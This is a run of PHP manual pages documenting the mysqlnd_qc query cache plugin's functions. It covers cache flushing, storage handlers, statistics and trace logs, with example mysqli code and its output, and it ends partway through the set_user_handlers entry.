mysqlnd_qc_clear_cache — Flush all cache contents

Description

bool mysqlnd_qc_clear_cache ( void )

Flush all cache contents.

Flushing the cache is a storage handler responsibility. All built-in storage handler but the memcache storage handler support flushing the cache. The memcache storage handler cannot flush its cache contents.

User-defined storage handler may or may not support the operation.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

A return value of FALSE indicates that flushing all cache contents has failed or the operation is not supported by the active storage handler. Applications must not expect that calling the function will always flush the cache.

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc Functions
mysqlnd_qc_get_available_handlers
mysqlnd_qc Functions


Returns a list of available storage handler

mysqlnd_qc_clear_cache
mysqlnd_qc_get_cache_info
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_get_available_handlers

(No version information available, might only be in SVN)

mysqlnd_qc_get_available_handlers — Returns a list of available storage handler

Description

array mysqlnd_qc_get_available_handlers ( void )

Which storage are available depends on the compile time configuration of the query cache plugin. The default storage handler is always available. All other storage handler must be enabled explicitly when building the extension.

Parameters

This function has no parameters.

Return Values

Returns an array of available built-in storage handler. For each storage handler the version number and version string is given.

Examples

<?php
var_dump(mysqlnd_qc_get_available_handlers());
?>

The above examples will output:

array(5) {
  ["default"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["user"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["APC"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["MEMCACHE"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
  ["sqlite"]=>
  array(2) {
    ["version"]=>
    string(5) "1.0.0"
    ["version_number"]=>
    int(100000)
  }
}

See Also

  • Installation
  • mysqlnd_qc_set_storage_handler() - Change current storage handler

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_clear_cache
mysqlnd_qc_get_cache_info
mysqlnd_qc Functions


Returns information on the current handler, the number of cache entries and cache entries, if available

mysqlnd_qc_get_available_handlers
mysqlnd_qc_get_core_stats
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_get_cache_info

(No version information available, might only be in SVN)

mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available

Description

array mysqlnd_qc_get_cache_info ( void )

Parameters

This function has no parameters.

Return Values

Returns information on the current handler, the number of cache entries and cache entries, if available. If and what data will be returned for the cache entries is subject to the active storage handler. Storage handler are free to return any data. Storage handler are recommended to return at least the data provided by the default handler, if technically possible.

The scope of the information is the PHP process. Dependng on the PHP deployment model a process may serve one or more web requests.

Values are aggregated for all cache activities on a per storage handler basis. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql.API calls have contributed to the aggregated data values. Use mysqlnd_qc_get_core_stats() to get timing data aggregated for all storage handlers.

Array of cache information

handler string

The active storage handler.

All storage handler. Since 1.0.0.

handler_version string

The version of the active storage handler.

All storage handler. Since 1.0.0.

num_entries int

The number of cache entries. The value depends on the storage handler in use.

The default, APC and SQLite storage handler provide the actual number of cache entries.

The MEMCACHE storage handler always returns 0. MEMCACHE does not support counting the number of cache entries.

If a user defined handler is used, the number of entries of the data property is reported.

Since 1.0.0.

data array

The version of the active storage handler.

Additional storage handler dependent data on the cache entries. Storage handler are requested to provide similar and comparable information. A user defined storage handler is free to return any data.

Since 1.0.0.

The following information is provided by the default storage handler for the data property.

The data property holds a hash. The hash is indexed by the internal cache entry itentifier of the storage handler. The cache entry identifier is human-readable and contains the query string leading to the cache entry. Please, see also the example below. The following data is given for every cache entry.

statistics array

Statistics of the cache entry.

Since 1.0.0.

Property | Description | Version
rows | Number of rows of the cached result set. | Since 1.0.0.
stored_size | The size of the cached result set in bytes. This is the size of the payload. The value is not suited for caclculating the total memory consumption of all cache entries including the administrative overhead of the cache entries. | Since 1.0.0.
cache_hits | How often the cached entry has been returned. | Since 1.0.0.
run_time | Run time of the statement to which the cache entry belongs. This is the run time of the uncached statement. It is the time between sending the statement to MySQL receiving a reply from MySQL. Run time saved by using the query cache plugin can be calculated like this: cache_hits * ((run_time - avg_run_time) + (store_time - avg_store_time)). | Since 1.0.0.
store_time | Store time of the statements result set to which the cache entry belongs. This is the time it took to fetch and store the results of the uncached statement. | Since 1.0.0.
min_run_time | Minimun run time of the cached statement. How long it took to find the statement in the cache. | Since 1.0.0.
min_store_time | Minimun store time of the cached statement. The time taken for fetching the cached result set from the storage medium and decoding | Since 1.0.0.
avg_run_time | Average run time of the cached statement. | Since 1.0.0.
avg_store_time | Average store time of the cached statement. | Since 1.0.0.
max_run_time | Average run time of the cached statement. | Since 1.0.0.
max_store_time | Average store time of the cached statement. | Since 1.0.0.
metadata array

Metadata of the cache entry. This is the metadata provided by MySQL together with the result set of the statement in question. Different versions of the MySQL server may return different metadata. Unlike with some of the PHP MySQL extensions no attempt is made to hide MySQL server version dependencies and version details from the caller. Please, refer to the MySQL C API documentation that belongs to the MySQL server in use for further details.

The metadata list contains one entry for every column.

Since 1.0.0.

Property | Description | Version
name | The field name. Depending on the MySQL version this may be the fields alias name. | Since 1.0.0.
org_name | The field name. | Since 1.0.0.
table | The table name. If an alias name was used for the table, this usually holds the alias name. | Since 1.0.0.
org_table | The table name. | Since 1.0.0.
db | The database/schema name. | Since 1.0.0.
max_length | The maximum width of the field. Details may vary by MySQL server version. | Since 1.0.0.
length | The width of the field. Details may vary by MySQL server version. | Since 1.0.0.
type | The data type of the field. Details may vary by the MySQL server in use. This is the MySQL C API type constants value. It is recommended to use type constants provided by the mysqli extension to test for its meaning. You should not test for certain type values by comparing with certain numbers. | Since 1.0.0.

The APC storage handler returns the same information for the data property but no metadata. The metadata of a cache entry is set to NULL.

The MEMCACHE storage handler does not fill the data property. Statistics are not available on a per cache entry basis with the MEMCACHE storage handler.

A user defined storage handler is free to provide any data.

Examples

The example shows the output from the built-in default storage handler. Other storage handler may report different data.

<?php
/* Populate the cache, e.g. using mysqli */
$mysqli = new mysqli("host", "user", "password", "schema");
$mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/SELECT id FROM test");

/* Display cache information */
var_dump(mysqlnd_qc_get_cache_info());
?>

The above examples will output:

array(4) {
 ["num_entries"]=>
 int(1)
 ["handler"]=>
 string(7) "default"
 ["handler_version"]=>
 string(5) "1.0.0"
 ["data"]=>
 array(1) {
   ["Localhost via UNIX socket 3306 user schema|/*qc=on*/SELECT id FROM test"]=>
   array(2) {
     ["statistics"]=>
     array(11) {
       ["rows"]=>
       int(6)
       ["stored_size"]=>
       int(101)
       ["cache_hits"]=>
       int(0)
       ["run_time"]=>
       int(471)
       ["store_time"]=>
       int(27)
       ["min_run_time"]=>
       int(0)
       ["max_run_time"]=>
       int(0)
       ["min_store_time"]=>
       int(0)
       ["max_store_time"]=>
       int(0)
       ["avg_run_time"]=>
       int(0)
       ["avg_store_time"]=>
       int(0)
     }
     ["metadata"]=>
     array(1) {
       [0]=>
       array(8) {
         ["name"]=>
         string(2) "id"
         ["orig_name"]=>
         string(2) "id"
         ["table"]=>
         string(4) "test"
         ["orig_table"]=>
         string(4) "test"
         ["db"]=>
         string(4) "schema"
         ["max_length"]=>
         int(1)
         ["length"]=>
         int(11)
         ["type"]=>
         int(3)
       }
     }
   }
 }
}

See Also

  • mysqlnd_qc_get_core_stats() - Statistics collected by the core of the query cache

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_get_available_handlers
mysqlnd_qc_get_core_stats
mysqlnd_qc Functions


Statistics collected by the core of the query cache

mysqlnd_qc_get_cache_info
mysqlnd_qc_get_normalized_query_trace_log
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_get_core_stats

(No version information available, might only be in SVN)

mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache

Description

array mysqlnd_qc_get_core_stats ( void )

Returns an array of statistics collected by the core of the cache plugin. The same data fields will be reported for any storage handler because the data is collected by the core.

The PHP configuration setting mysqlnd_qc.collect_statistics controls the collection of statistics. The collection of statistics is disabled by default for performance reasons. Disabling the collection of statistics will also disable the collection of time related statistics.

The PHP configuration setting mysqlnd_qc.collect_time_statistics controls the collection of time related statistics.

The scope of the core statistics is the PHP process. Depending on your deployment model a PHP process may handle one or multiple requests.

Statistics are aggregated for all cache entries and all storage handler. It is not possible to tell how much queries originating from mysqli, PDO_MySQL or mysql API calls have contributed to the aggregated data values.

Parameters

This function has no parameters.

Return Values

Array of core statistics

Statistic | Description | Version
cache_hit | Statement is considered cacheable and cached data has been reused. Statement is considered cacheable and a cache miss happened but the statement got cached by someone else while we process it and thus we can fetch the result from the refreshed cache. | Since 1.0.0.
cache_miss Statement is considered cacheable...

  • ... and has been added to the cache

  • ... but the PHP configuration directive setting of mysqlnd_qc.cache_no_table = 1 has prevented caching.

  • ... but an unbuffered result set is requested.

  • ... but a buffered result set was empty.

Since 1.0.0.
cache_put | Statement is considered cacheable and has been added to the cache. Take care when calculating derived statistics. Storage handler with a storage life time beyond process scope may report cache_put = 0 together with cache_hit > 0, if another process has filled the cache. You may want to use num_entries from mysqlnd_qc_get_cache_info() if the handler supports it ( default, APC). | Since 1.0.0.
query_should_cache | Statement is considered cacheable based on query string analysis. The statement may or may not be added to the cache. See also cache_put. | Since 1.0.0.
query_should_not_cache | Statement is considered not cacheable based on query string analysis. | Since 1.0.0.
query_not_cached | Statement is considered not cacheable or it is considered cachable but the storage handler has not returned a hash key for it. | Since 1.0.0.
query_could_cache Statement is considered cacheable...

  • ... and statement has been run without errors

  • ... and meta data shows at least one column in the result set

The statement may or may not be in the cache already. It may or may not be added to the cache later on. 		Since 1.0.0.
query_found_in_cache | Statement is considered cacheable and we have found it in the cache but we have not replayed the cached data yet and we have not send the result set to the client yet. This is not considered a cache hit because the client might not fetch the result or the cached data may be faulty. | Since 1.0.0.
query_uncached_other | Statement is considered cacheable and it may or may not be in the cache already but either replaying cached data has failed, no result set is available or some other error has happened.
query_uncached_no_table | Statement has not been cached because the result set has at least one column which has no table name in its meta data. An example of such a query is SELECT SLEEP(1). To cache those statements you have to change default value of the PHP configuration directive mysqlnd_qc.cache_no_table and set mysqlnd_qc.cache_no_table = 1. Often, it is not desired to cache such statements. | Since 1.0.0.
query_uncached_use_result | Statement would have been cached if a buffered result set had been used. The situation is also consiered as a cache miss and cache_miss will be incremented as well. | Since 1.0.0.
query_aggr_run_time_cache_hit | Aggregated run time (ms) of all cached queries. Cached queries are those which have incremented cache_hit. | Since 1.0.0.
query_aggr_run_time_cache_put | Aggregated run time (ms) of all uncached queries that have been put into the cache. See also cache_put. | Since 1.0.0.
query_aggr_run_time_total | Aggregated run time (ms) of all uncached and cached queries that have been inspected and executed by the query cache. | Since 1.0.0.
query_aggr_store_time_cache_hit | Aggregated store time (ms) of all cached queries. Cached queries are those which have incremented cache_hit. | Since 1.0.0.
query_aggr_store_time_cache_put | Aggregated store time ( ms) of all uncached queries that have been put into the cache. See also cache_put. | Since 1.0.0.
query_aggr_store_time_total | Aggregated store time (ms) of all uncached and cached queries that have been inspected and executed by the query cache. | Since 1.0.0.
receive_bytes_recorded | Recorded incoming network traffic ( bytes) send from MySQL to PHP. The traffic may or may not have been added to the cache. The traffic is the total for all queries regardless if cached or not. | Since 1.0.0.
receive_bytes_replayed | Network traffic replayed during cache. This is the total amount of incoming traffic saved because of the usage of the query cache plugin. | Since 1.0.0.
send_bytes_recorded | Recorded outgoing network traffic ( bytes) send from MySQL to PHP. The traffic may or may not have been added to the cache. The traffic is the total for all queries regardless if cached or not. | Since 1.0.0.
send_bytes_replayed | Network traffic replayed during cache. This is the total amount of outgoing traffic saved because of the usage of the query cache plugin. | Since 1.0.0.
slam_stale_refresh | Number of cache misses which triggered serving stale data until the client causing the cache miss has refreshed the cache entry. | Since 1.0.0.
slam_stale_hit | Number of cache hits while a stale cache entry gets refreshed. | Since 1.0.0.

Examples

<?php
/* Enable collection of statistics - default: disabled */
ini_set("mysqlnd_qc.collect_statistics", 1);

/* Enable collection of all timing related statistics -
default: enabled but overruled by mysqlnd_qc.collect_statistics = 0 */
ini_set("mysqlnd_qc.collect_time_statistics", 1);

/* Populate the cache, e.g. using mysqli */
$mysqli = new mysqli('host', 'user', 'password', 'schema');

/* Cache miss and cache put */
$mysqli->query("/*qc=on*/SELECT id FROM test");
/* Cache hit */
$mysqli->query("/*qc=on*/SELECT id FROM test");

/* Display core statstics */
var_dump(mysqlnd_qc_get_core_stats());
?>

The above examples will output:

array(26) {
  ["cache_hit"]=>
  string(1) "1"
  ["cache_miss"]=>
  string(1) "1"
  ["cache_put"]=>
  string(1) "1"
  ["query_should_cache"]=>
  string(1) "2"
  ["query_should_not_cache"]=>
  string(1) "0"
  ["query_not_cached"]=>
  string(1) "0"
  ["query_could_cache"]=>
  string(1) "2"
  ["query_found_in_cache"]=>
  string(1) "1"
  ["query_uncached_other"]=>
  string(1) "0"
  ["query_uncached_no_table"]=>
  string(1) "0"
  ["query_uncached_no_result"]=>
  string(1) "0"
  ["query_uncached_use_result"]=>
  string(1) "0"
  ["query_aggr_run_time_cache_hit"]=>
  string(1) "4"
  ["query_aggr_run_time_cache_put"]=>
  string(3) "395"
  ["query_aggr_run_time_total"]=>
  string(3) "399"
  ["query_aggr_store_time_cache_hit"]=>
  string(1) "2"
  ["query_aggr_store_time_cache_put"]=>
  string(1) "8"
  ["query_aggr_store_time_total"]=>
  string(2) "10"
  ["receive_bytes_recorded"]=>
  string(2) "65"
  ["receive_bytes_replayed"]=>
  string(2) "65"
  ["send_bytes_recorded"]=>
  string(2) "29"
  ["send_bytes_replayed"]=>
  string(2) "29"
  ["slam_stale_refresh"]=>
  string(1) "0"
  ["slam_stale_hit"]=>
  string(1) "0"
  ["request_counter"]=>
  int(1)
  ["process_hash"]=>
  int(3547549858)
}

See Also

  • Runtime configuration
  • mysqlnd_qc.collect_statistics
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc_get_cache_info() - Returns information on the current handler, the number of cache entries and cache entries, if available

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_get_cache_info
mysqlnd_qc_get_normalized_query_trace_log
mysqlnd_qc Functions


Returns a normalized query trace log for each query inspected by the query cache

mysqlnd_qc_get_core_stats
mysqlnd_qc_get_query_trace_log
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_get_normalized_query_trace_log

(No version information available, might only be in SVN)

mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache

Description

array mysqlnd_qc_get_normalized_query_trace_log ( void )

Returns a normalized query trace log for each query inspected by the query cache. The collection of the trace log is disabled by default. To collect the trace log you have to set the PHP configuration directive mysqlnd_qc.collect_normalized_query_trace to 1

Entries in the trace log are grouped by the normalized query statement. The normalized query statement is the query statement with all statement parameter values being replaced with a question mark. For example, the two statements SELECT id FROM test WHERE id = 1 and SELECT id FROM test WHERE id = 2 are normalized as SELECT id FROM test WHERE id = ?. Whenever a statement is inspected by the query cache which matches the normalized statement pattern, its statistics are grouped by the normalized statement string.

Parameters

This function has no parameters.

Return Values

An array of query log. Every list entry contains the normalized query stringand further detail information.

Key | Description
query | Normalized statement string.
occurences | How many statements have matched the normalized statement string in addition to the one which has created the log entry. The value is zero if a statement has been normalized, its normalized representation has been added to the log but no further queries inspected by PECL/mysqlnd_qc have the same normalized statement string.
eligible_for_caching | Whether the statement could be cached. An statement eligible for caching has not necessarily been cached. It not possible to tell for sure if or how many cached statement have contributed to the aggregated normalized statement log entry. However, comparing the minimum and average run time one can make an educated guess.
avg_run_time | The average run time of all queries contributing to the query log entry. The run time is the time between sending the query statement to MySQL and receiving an answer from MySQL.
avg_store_time | The average store time of all queries contributing to the query log entry. The store time is the time needed to fetch a statements result set from the server to the client and, storing it on the client.
min_run_time | The minimum run time of all queries contributing to the query log entry.
min_store_time | The minimum store time of all queries contributing to the query log entry.
max_run_time | The maximum run time of all queries contributing to the query log entry.
max_store_time | The maximum store time of all queries contributing to the query log entry.

Examples

mysqlnd_qc.collect_normalized_query_trace=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* not cached */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* cache put */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

/* cache hit */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

var_dump(mysqlnd_qc_get_normalized_query_trace_log());
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(4) {
  [0]=>
  array(9) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [1]=>
  array(9) {
    ["query"]=>
    string(27) "CREATE TABLE test (id INT )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [2]=>
  array(9) {
    ["query"]=>
    string(40) "INSERT INTO test (id ) VALUES (? ), (? )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [3]=>
  array(9) {
    ["query"]=>
    string(31) "SELECT id FROM test WHERE id =?"
    ["occurences"]=>
    int(2)
    ["eligible_for_caching"]=>
    bool(true)
    ["avg_run_time"]=>
    int(159)
    ["min_run_time"]=>
    int(12)
    ["max_run_time"]=>
    int(307)
    ["avg_store_time"]=>
    int(10)
    ["min_store_time"]=>
    int(8)
    ["max_store_time"]=>
    int(13)
  }
}

See Also

  • Runtime configuration
  • mysqlnd_qc.collect_normalized_query_trace
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc_get_query_trace_log() - Returns a backtrace for each query inspected by the query cache

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_get_core_stats
mysqlnd_qc_get_query_trace_log
mysqlnd_qc Functions


Returns a backtrace for each query inspected by the query cache

mysqlnd_qc_get_normalized_query_trace_log
mysqlnd_qc_set_is_select
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_get_query_trace_log

(No version information available, might only be in SVN)

mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache

Description

array mysqlnd_qc_get_query_trace_log ( void )

Returns a backtrace for each query inspected by the query cache. The collection of the backtrace is disabled by default. To collect the backtrace you have to set the PHP configuration directive mysqlnd_qc.collect_query_trace to 1

The maximum depth of the backtrace is limited to the depth set with the PHP configuration directive mysqlnd_qc.query_trace_bt_depth.

Parameters

This function has no parameters.

Return Values

An array of query backtrace. Every list entry contains the query string, a backtrace and further detail information.

Key | Description
query | Query string.
origin | Code backtrace.
run_time | Query run time in milliseconds. The collection of all times and the necessary gettimeofday system calls can be disabled by setting the PHP configuration directive mysqlnd_qc.time_statistics to 0
store_time | Query result set store time in milliseconds. The collection of all times and the necessary gettimeofday system calls can be disabled by setting the PHP configuration directive mysqlnd_qc.time_statistics to 0
eligible_for_caching | TRUE if query is cacheble otherwise FALSE.
no_table | TRUE if the query has generated a result set and at least one column from the result set has no table name set in its metadata. This is usually the case with queries which one probably do not want to cache such as SELECT SLEEP(1). By default any such query will not be added to the cache. See also PHP configuration directive mysqlnd_qc.cache_no_table.
was_added | TRUE if the query result has been put into the cache, otherwise FALSE.
was_already_in_cache | TRUE if the query result would have been added to the cache if it was not already in the cache (cache hit). Otherwise FALSE.

Examples

mysqlnd_qc.collect_query_trace=1
<?php
/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

/* not cached */
$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* cache put */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

/* cache hit */
$res = $mysqli->query("/*" . MYSQLND_QC_ENABLE_SWITCH . "*/" . "SELECT id FROM test WHERE id = 2");
var_dump($res->fetch_assoc());
$res->free();

var_dump(mysqlnd_qc_get_query_trace_log());
?>

The above examples will output:

array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(1) {
  ["id"]=>
  string(1) "2"
}
array(6) {
  [0]=>
  array(8) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["origin"]=>
    string(102) "#0 qc.php(4): mysqli->query('DROP TABLE IF E...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [1]=>
  array(8) {
    ["query"]=>
    string(25) "CREATE TABLE test(id INT)"
    ["origin"]=>
    string(102) "#0 qc.php(5): mysqli->query('CREATE TABLE te...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [2]=>
  array(8) {
    ["query"]=>
    string(36) "INSERT INTO test(id) VALUES (1), (2)"
    ["origin"]=>
    string(102) "#0 qc.php(6): mysqli->query('INSERT INTO tes...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [3]=>
  array(8) {
    ["query"]=>
    string(32) "SELECT id FROM test WHERE id = 1"
    ["origin"]=>
    string(102) "#0 qc.php(9): mysqli->query('SELECT id FROM ...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(25)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [4]=>
  array(8) {
    ["query"]=>
    string(41) "/*qc=on*/SELECT id FROM test WHERE id = 2"
    ["origin"]=>
    string(103) "#0 qc.php(14): mysqli->query('/*qc=on*/SELECT...')
#1 {main}"
    ["run_time"]=>
    int(311)
    ["store_time"]=>
    int(13)
    ["eligible_for_caching"]=>
    bool(true)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(true)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [5]=>
  array(8) {
    ["query"]=>
    string(41) "/*qc=on*/SELECT id FROM test WHERE id = 2"
    ["origin"]=>
    string(103) "#0 qc.php(19): mysqli->query('/*qc=on*/SELECT...')
#1 {main}"
    ["run_time"]=>
    int(13)
    ["store_time"]=>
    int(8)
    ["eligible_for_caching"]=>
    bool(true)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(true)
  }
}

See Also

  • Runtime configuration
  • mysqlnd_qc.collect_query_trace
  • mysqlnd_qc.query_trace_bt_depth
  • mysqlnd_qc.time_statistics
  • mysqlnd_qc.cache_no_table
  • mysqlnd_qc_get_normalized_query_trace_log() - Returns a normalized query trace log for each query inspected by the query cache

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_get_normalized_query_trace_log
mysqlnd_qc_set_is_select
mysqlnd_qc Functions


Installs a callback which decides whether a statement is cached

mysqlnd_qc_get_query_trace_log
mysqlnd_qc_set_storage_handler
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_set_is_select

(No version information available, might only be in SVN)

mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached

Description

mixed mysqlnd_qc_set_is_select ( string $callback )

Installs a callback which decides whether a statement is cached.

There are several ways of hinting PELC/mysqlnd_qc to cache a query. By default, PECL/mysqlnd_qc attempts to cache a if caching of all statements is enabled or the query string begins with a certain SQL hint. The plugin internally calls a function named is_select() to find out. This internal function can be replaced with a user-defined callback. Then, the user-defined callback is responsible to decide whether the plugin attempts to cache a statement. Because the internal function is replaced with the callback, the callback gains full control. The callback is free to ignore the configuration setting mysqlnd_qc.cache_by_default and SQL hints.

The callback is invoked for every statement inspected by the plugin. It is given the statements string as a parameter. The callback returns FALSE if the statement shall not be cached. It returns TRUE to make the plugin attempt to cache the statements result set, if any. A so-created cache entry is given the default TTL set with the PHP configuration directive mysqlnd_qc.ttl. If a different TTL shall be used, the callback returns a numeric value to be used as the TTL.

The internal is_select function is part of the internal cache storage handler interface. Thus, a user-defined storage handler offers the same capabilities.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

<?php
/* callback which decides if query is cached */
function is_select($query) {
  static $patterns = array(
   /* true - use default from mysqlnd_qc.ttl */
   "@SELECT\s+.*\s+FROM\s+test@ismU" => true,
   /* 3 - use TTL = 3 seconds */
   "@SELECT\s+.*\s+FROM\s+news@ismU" => 3
  );
  /* check if query does match pattern */
  foreach ($patterns as $pattern => $ttl) {
    if (preg_match($pattern, $query)) {
      printf("is_select(%45s): cache\n", $query);
      return $ttl;
    }
  }
  printf("is_select(%45s): do not cache\n", $query);
  return false;
}
mysqlnd_qc_set_is_select("is_select");

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* cache put */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache hit */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache put */
$mysqli->query("SELECT * FROM test");
?>

The above examples will output:

is_select(                    DROP TABLE IF EXISTS test): do not cache
is_select(                    CREATE TABLE test(id INT)): do not cache
is_select(    INSERT INTO test(id) VALUES (1), (2), (3)): do not cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(                           SELECT * FROM test): cache

See Also

  • Runtime configuration
  • mysqlnd_qc.ttl
  • mysqlnd_qc.cache_by_default
  • mysqlnd_qc_set_user_handlers() - Sets the callback functions for a user-defined procedural storage handler

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_get_query_trace_log
mysqlnd_qc_set_storage_handler
mysqlnd_qc Functions


Change current storage handler

mysqlnd_qc_set_is_select
mysqlnd_qc_set_user_handlers
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_set_storage_handler

(No version information available, might only be in SVN)

mysqlnd_qc_set_storage_handler — Change current storage handler

Description

bool mysqlnd_qc_set_storage_handler ( string $handler )

Sets the storage handler used by the query cache. A list of available storage handler can be obtained from mysqlnd_qc_get_available_handlers(). Which storage are available depends on the compile time configuration of the query cache plugin. The default storage handler is always available. All other storage handler must be enabled explicitly when building the extension.

Parameters

handler

Handler can be of type string representing the name of a built-in storage handler or an object of type mysqlnd_qc_handler_default. The names of the built-in storage handler are default, APC, MEMCACHE, sqlite.

Return Values

Returns TRUE on success or FALSE on failure.

If changing the storage handler fails a catchable fatal error will be thrown. The query cache cannot operate if the previous storage handler has been shutdown but no new storage handler has been installed.

Examples

The example shows the output from the built-in default storage handler. Other storage handler may report different data.

<?php
var_dump(mysqlnd_qc_set_storage_handler("memcache"));

if (true === mysqlnd_qc_set_storage_handler("default"))
  printf("Default storage handler activated");

/* Catchable fatal error */
var_dump(mysqlnd_qc_set_storage_handler("unknown"));
?>

The above examples will output:

bool(true)
Default storage handler activated
Catchable fatal error: mysqlnd_qc_set_storage_handler(): Unknown handler 'unknown' in (file) on line (line)

See Also

  • Installation
  • mysqlnd_qc_get_available_handlers() - Returns a list of available storage handler

User Contributed Notes

There are no user contributed notes for this page.
mysqlnd_qc_set_is_select
mysqlnd_qc_set_user_handlers
mysqlnd_qc Functions


Sets the callback functions for a user-defined procedural storage handler

mysqlnd_qc_set_storage_handler
Change History
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_set_user_handlers

(No version information available, might only be in SVN)

mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler

Description

bool mysqlnd_qc_set_user_handlers ( string $get_hash , string $find_query_in_cache , string $return_to_cache , string $add_query_to_cache_if_not_exists , string $query_is_select , string $update_query_run_time_stats , string $get_stats , string $clear_cache )

Sets the callback functions for a user-defined procedural storage handler.

Parameters

get_hash

Name of the user function implementing the storage handler get_hash functionality.

find_query_in_cache

Name of the user function implementing the storage handler find_in_cache functionality.

